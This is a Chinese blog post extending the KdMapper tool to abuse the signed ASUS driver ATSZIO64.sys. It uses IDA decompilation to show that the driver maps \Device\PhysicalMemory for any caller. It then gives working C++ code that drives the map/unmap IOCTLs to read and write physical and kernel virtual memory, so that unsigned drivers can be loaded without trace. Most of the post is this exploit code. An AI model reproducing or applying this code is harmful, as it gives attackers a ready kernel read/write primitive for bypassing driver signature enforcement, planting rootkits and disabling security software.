KdMapper扩展实现之ASUS(ATSZIO64.sys)

发布时间 2023-09-04 17:39:18作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 ATSZIO64.sys 
时间戳 541ACA4D
MD5 B12D1630FD50B2A21FD91E45D522BA3A

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140005A90;
        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_140005A68;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_140005A68;
        DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)sub_140005A68;
        DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)sub_140005A68;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140005008;
        return sub_140006008(DriverObject);
}

 

3.2 创建设备和符号链接

NTSTATUS __fastcall sub_140006008(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS result; // eax
        char* v3; // rdi
        _UNICODE_STRING v4; // xmm0
        PKEVENT v5; // rax
        NTSTATUS v6; // ebx
        WCHAR* v7; // rax
        const WCHAR* v8; // rbx
        __int64 v9; // r8
        _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-40h] BYREF
        _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-30h] BYREF
        _UNICODE_STRING DeviceName; // [rsp+60h] [rbp-20h] BYREF
        _UNICODE_STRING EventName; // [rsp+70h] [rbp-10h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+18h] BYREF

        RtlInitUnicodeString(&DestinationString, aDeviceAtszio);
        DeviceName = DestinationString;
        result = IoCreateDevice(DriverObject, 0x38u, &DeviceName, 0x8807u, 0, 0, &DeviceObject);
        if (result >= 0)
        {
                DeviceObject->Flags |= 4u;
                v3 = (char*)DeviceObject->DeviceExtension;
                *(_QWORD*)v3 = DeviceObject;
                v4 = DestinationString;
                *((_QWORD*)v3 + 6) = 0i64;
                *(_UNICODE_STRING*)(v3 + 8) = v4;
                RtlInitUnicodeString(&EventName, aBasenamedobjec);
                v5 = IoCreateSynchronizationEvent(&EventName, (PHANDLE)v3 + 6);
                *((_QWORD*)v3 + 5) = v5;
                if (!v5)
                {
                        v6 = -1073741823;
                LABEL_7:
                        IoDeleteDevice(DeviceObject);
                        return v6;
                }
                v7 = (WCHAR*)ExAllocatePool(NonPagedPool, 0x16ui64);
                v8 = v7;
                v9 = -1i64;
                *(_QWORD*)v7 = 0i64;
                *((_QWORD*)v7 + 1) = 0i64;
                *((_DWORD*)v7 + 4) = 0;
                v7[10] = 0;
                do
                        ++v9;
                while (aAtszio[v9]);
                memmove(v7, aAtszio, 2 * v9 + 2);
                qword_140003110 = (__int64)v8;
                RtlInitUnicodeString(&SymbolicLinkName, v8);
                *(_UNICODE_STRING*)(v3 + 24) = SymbolicLinkName;
                v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v6 < 0)
                        goto LABEL_7;
                result = 0;
        }
        return result;
}

  其中 aDeviceAtszio 和 aAtszio 如下定义:

INIT:0000000140006240 aDeviceAtszio:                          ; DATA XREF: sub_140006008+1D↑o
INIT:0000000140006240                 text "UTF-16LE", '\Device\ATSZIO',0
INIT:000000014000625E                 align 20h
INIT:0000000140006260 ; WCHAR aBasenamedobjec
INIT:0000000140006260 aBasenamedobjec:                        ; DATA XREF: sub_140006008+6D↑o
INIT:0000000140006260                 text "UTF-16LE", '\BaseNamedObjects\WaitForIoAccess',0
INIT:00000001400062A4                 align 10h
INIT:00000001400062B0 aAtszio:                                ; DATA XREF: sub_140006008+C5↑o
INIT:00000001400062B0                 text "UTF-16LE", '\??\ATSZIO',0
INIT:00000001400062C6                 align 8

 

3.3 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_140005008,其代码如下:

__int64 __fastcall sub_140005008(_DEVICE_OBJECT *pDeviceObject, _IRP *pIrp)
{
    ......
    if ( nControlCode > 0x88072004 )
  {
    if ( nControlCode == 0x8807200C )           // MapPhysicalMemory--------------------------------------------------------------------
    {
      pPhysicalMomoryInfo = (ATSZIO_PHYSICAL_MEMORY_INFO *)pIrp->AssociatedIrp.SystemBuffer;
      pPhysicalMomoryInfo->MappedBaseAddress = 0i64;
      if ( (_DWORD)nInputBufferLength )
      {
        sub_140005B0C(
          (union _LARGE_INTEGER)(pPhysicalMomoryInfo->Offset.QuadPart & 0xFFFFFFFFFFFFF000ui64),
          pPhysicalMomoryInfo->ViewSize,
          &pAddressMapped,
          (void **)&hSection);
        pPhysicalMomoryInfo->MappedBaseAddress = (__int64)pAddressMapped;
        pPhysicalMomoryInfo->SectionHandle = (__int64)hSection;
        pIrp->IoStatus.Information = nOutputBufferLength;
        goto LABEL_141;
      }
      goto LABEL_140;
    }
    if ( nControlCode != 0x88072010 )
    {
        ......
    }
    ntStatus = sub_140005C44(             // 0x88072010 ----------------------------------------------------------
                 *((HANDLE *)pIrp->AssociatedIrp.SystemBuffer + 1),
                 *((void **)pIrp->AssociatedIrp.SystemBuffer + 4));
    pIrp->IoStatus.Information = 0i64;
    goto LABEL_137;
    ......
    
}

  其中映射物理内存 ControlCode 为 0x8807200C,取消映射为 0x88072010,相应的函数为 sub_140005B0C 和 sub_140005C44。

 

3.4 映射物理内存

sub_140005B0C 如下:

// MapPhysicalMemory
NTSTATUS __fastcall sub_140005B0C(union _LARGE_INTEGER Offset, unsigned int nSize, PVOID *pAddressMapped, void **hSection)
{
  ULONG_PTR nSizeMapped; // rbx
  NTSTATUS result; // eax
  SIZE_T v9; // r15
  NTSTATUS ntStatus; // eax
  void *hSectionMapped; // rcx
  NTSTATUS ntStatusReturn; // ebx
  NTSTATUS ntStatusMap; // ebx
  union _LARGE_INTEGER SectionOffset; // [rsp+58h] [rbp-39h] BYREF
  ULONG_PTR ViewSize; // [rsp+60h] [rbp-31h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+68h] [rbp-29h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+98h] [rbp+7h] BYREF
  PVOID Object; // [rsp+A8h] [rbp+17h] BYREF
  PVOID BaseAddress; // [rsp+F8h] [rbp+67h] BYREF

  nSizeMapped = nSize;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
  ObjectAttributes.RootDirectory = 0i64;
  ObjectAttributes.SecurityDescriptor = 0i64;
  ObjectAttributes.SecurityQualityOfService = 0i64;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 48;
  ObjectAttributes.Attributes = 512;
  result = ZwOpenSection(hSection, 7u, &ObjectAttributes);
  BaseAddress = 0i64;
  v9 = (unsigned int)nSizeMapped;
  ViewSize = nSizeMapped;
  SectionOffset = Offset;
  if ( result >= 0 )
  {
    ntStatus = ObReferenceObjectByHandle(*hSection, 7u, 0i64, 0, &Object, 0i64);
    hSectionMapped = *hSection;
    ntStatusReturn = ntStatus;
    if ( ntStatus >= 0 )
    {
      ntStatusMap = ZwMapViewOfSection(
                      hSectionMapped,
                      (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                      &BaseAddress,
                      0i64,
                      v9,
                      &SectionOffset,
                      &ViewSize,
                      ViewShare,
                      0,
                      4u);
      ZwClose(*hSection);
      result = ntStatusMap;
      *pAddressMapped = BaseAddress;
      return result;
    }
    ZwClose(hSectionMapped);
    result = ntStatusReturn;
  }
  *pAddressMapped = 0i64;
  return result;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

3.5 取消映射物理内存

  sub_140005C44 如下:

// UnmapPhysicalMemory
__int64 __fastcall sub_140005C44(HANDLE Handle, void *a2)
{
  NTSTATUS ntStatus; // ebx

  ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, a2);
  if ( ntStatus < 0 )
    ZwClose(Handle);
  return (unsigned int)ntStatus;
}

 

3.6 ATSZIO_PHYSICAL_MEMORY_INFO结构

00000000 ATSZIO_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, mappedto_381)
00000000 Unused0         dq ?
00000008 SectionHandle   dq ?
00000010 ViewSize        dd ?
00000014 Padding0        dd ?
00000018 Offset          _LARGE_INTEGER ?
00000020 MappedBaseAddress dq ?
00000028 ATSZIO_PHYSICAL_MEMORY_INFO ends

 

4. 代码实现

4.1 .h文件

#pragma warning(push)
#pragma warning(disable:4324) // structure padded due to __declspec(align())
        typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)_ATSZIO_PHYSICAL_MEMORY_INFO {
                ULONG_PTR Unused0;
                HANDLE SectionHandle;
                ULONG ViewSize;
                ULONG Padding0;
                ULARGE_INTEGER Offset;
                PVOID MappedBaseAddress;
        } ATSZIO_PHYSICAL_MEMORY_INFO, * PATSZIO_PHYSICAL_MEMORY_INFO;
#pragma warning(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ATSZIO_DEVICE_TYPE          (DWORD)0x8807
#define ATSZIO_MAP_SECTION_FUNCID   (DWORD)0x803
#define ATSZIO_UNMAP_SECTION_FUNCID (DWORD)0x804

#define IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x8807200C 

#define IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x88072010

 

4.2 .c文件

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        _Out_ HANDLE* SectionHandle
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ATSZIO_PHYSICAL_MEMORY_INFO request;

        *SectionHandle = NULL;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.Offset.QuadPart = offset;
        request.ViewSize = mapSize;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                *SectionHandle = request.SectionHandle;
                return request.MappedBaseAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap,
        _In_ HANDLE SectionHandle
)
{
        ATSZIO_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.SectionHandle = SectionHandle;
        request.MappedBaseAddress = SectionToUnmap;

        SuperCallDriver(DeviceHandle,
                IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
        HANDLE sectionHandle = NULL;

        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &sectionHandle);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection,
                        sectionHandle);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

 

5. 运行效果

  Windows 10 21H2环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》